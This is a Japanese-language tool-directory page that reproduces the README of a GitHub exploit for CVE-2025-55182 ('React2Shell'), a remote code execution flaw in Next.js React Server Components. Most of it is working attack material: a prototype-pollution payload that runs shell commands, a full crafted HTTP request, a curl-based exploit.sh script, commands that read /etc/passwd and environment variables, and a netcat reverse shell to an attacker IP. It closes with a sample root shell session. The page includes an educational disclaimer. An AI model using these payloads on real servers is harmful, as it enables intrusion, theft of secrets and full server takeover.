Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
react2shell-exploit — CVE-2025-55182(別名React2Shell)は、React Server Components(RSC)とServer Actionsを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です。 | Kitploit
ツール/GitHubGitHub/yannisduvignau/react2shell-exploit
エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育リモートアクセスツールペイロード開発
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182(別名React2Shell)は、React Server Components(RSC)とServer Actionsを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
リポジトリを見る
114ヶ月前未レビュー
共有

CVE-2025-55182 – React2Shell

Next.jsにおけるリモートコード実行

⚠️ 免責事項: このドキュメントは教育およびセキュリティ研究目的のみで提供されています。あなたが所有していない、または明示的なテスト許可を得ていないシステムに対してこれらの技術を不正に使用することは違法です。


📋 目次

  1. 概要
  2. 動作の仕組み
  3. インストールとセットアップ
  4. ステップバイステップの悪用
  5. 結果と影響
  6. 緩和策

概要

CVE-2025-55182(別名 React2Shell)は、以下のものを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です:

  • React Server Components (RSC)
  • Server Actions

なぜ危険なのか?

攻撃者は、以下を悪用することでサーバー上で**リモートコード実行(RCE)**を達成できます:

  1. RSCペイロードの安全でないデシリアライゼーション
  2. __proto__ と constructor を介したプロトタイプ汚染
  3. Next.jsサーバーランタイムにおける動的実行パス

結果: Node.jsプロセスの権限で任意のシステムコマンドが実行される可能性があります。


動作の仕組み

ステージ1: Next.js RSCプロトコル

Next.jsは、クライアントとサーバー間の通信に独自のmultipart/form-dataプロトコルを使用します:

  • クライアントはReact Server Componentsをサーバーに送信します
  • サーバーはそれらをデシリアライズして処理します
  • 結果はクライアントに返されます
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

ステージ2: 弱点 - 安全でないデシリアライゼーション

この脆弱性は次の理由で存在します:

  1. ユーザー制御のデータがデシリアライゼーション前に検証されない
  2. プロトタイプチェーンへのアクセスが許可されている(__proto__、constructor)
  3. 特定のフィールドがリクエスト処理中に動的に評価される

ステージ3: プロトタイプ汚染攻撃

攻撃者は内部オブジェクトのプロパティを変更するペイロードを作成できます:

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

__proto__を悪用することで、攻撃者はJavaScriptオブジェクトのプロトタイプを汚染し、それを継承するすべてのオブジェクトに影響を与えます。

ステージ4: コードインジェクション

_prefix フィールド内で、攻撃者は次のことを行うJavaScriptコードを注入します:

  1. process.mainModule.require()を介してNode.jsモジュールにアクセスする
  2. child_process モジュールをロードする
  3. execSync()を使用してシステムコマンドを実行する
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

ステージ5: 結果の抽出

コマンドの結果はエラーレスポンス内に隠されます:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.jsはこのエラーをクライアントに返し、コマンド出力はdigestフィールドで確認できます。


インストールとセットアップ

前提条件

  • Node.js 20
  • Burp Suite(リクエストインターセプト用の類似ツールでも可)
  • curl または Postman(ペイロード送信用)

ステップ1: 脆弱なサーバーのクローンとインストール

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

ステップ2: サーバーを起動

npm run dev

サーバーは次の場所でアクセス可能になります:

http://localhost:3000

ステップ3: サーバーが実行中か確認

curl http://localhost:3000/

この時点では、サーバーは正常に動作します。


ステップバイステップの悪用

アプローチ1: Burp Suiteを使用する(手動インターセプト)

ステップ1: インターセプトを有効にする

  1. Burp Suiteを開く
  2. Proxy → Intercept タブに移動
  3. Intercept is on を有効にする
  4. ブラウザで http://localhost:3000/ にアクセス

ステップ2: リクエストをインターセプト

GETリクエストがインターセプトされます。それをRepeaterタブに送信します:

  1. 右クリック → Send to Repeater
  2. Repeater タブに移動

ステップ3: 悪意のあるペイロードに置き換える

リクエスト全体を次のペイロードに置き換えます:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

ステップ4: リクエストを送信

Send をクリック


アプローチ2: 自動化された悪用スクリプト

exploit.sh ファイルを作成します:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

実行可能にします:

chmod +x exploit.sh
./exploit.sh

コマンド例

ファイルとディレクトリの一覧表示

COMMAND="ls -la /"

現在のユーザーを取得

COMMAND="whoami"

ファイルを読み取る

COMMAND="cat /etc/passwd"

ネットワーク接続を確認

COMMAND="netstat -tuln"

環境変数を取得

COMMAND="env"

リバースシェル(完全なサーバーアクセス)

完全な対話型シェルアクセスを得るには、リバースシェルを使用します。

攻撃者マシンで: 接続を待ち受ける

ncat -lvnp 9009

またはnetcatを使用:

nc -lvnp 9009

ターゲット上で: リバースシェルのペイロードを送信

次のコマンドでペイロードを変更します(<ATTACKER_IP> を自分のIPアドレスに置き換えてください):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

完全なペイロードは次のようになります:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

期待される結果

❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

これでターゲットサーバー上で完全に対話型のシェルを手に入れました。


結果と影響

サーバーレスポンス

悪用に成功すると:

  1. サーバーはHTTP 500 Internal Server Errorで応答します
  2. レスポンスボディには実行されたシステムコマンドの出力が含まれます
  3. 出力はエラーレスポンス内のdigestフィールドに埋め込まれます

レスポンス例

Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

潜在的な影響

ツールをダウンロード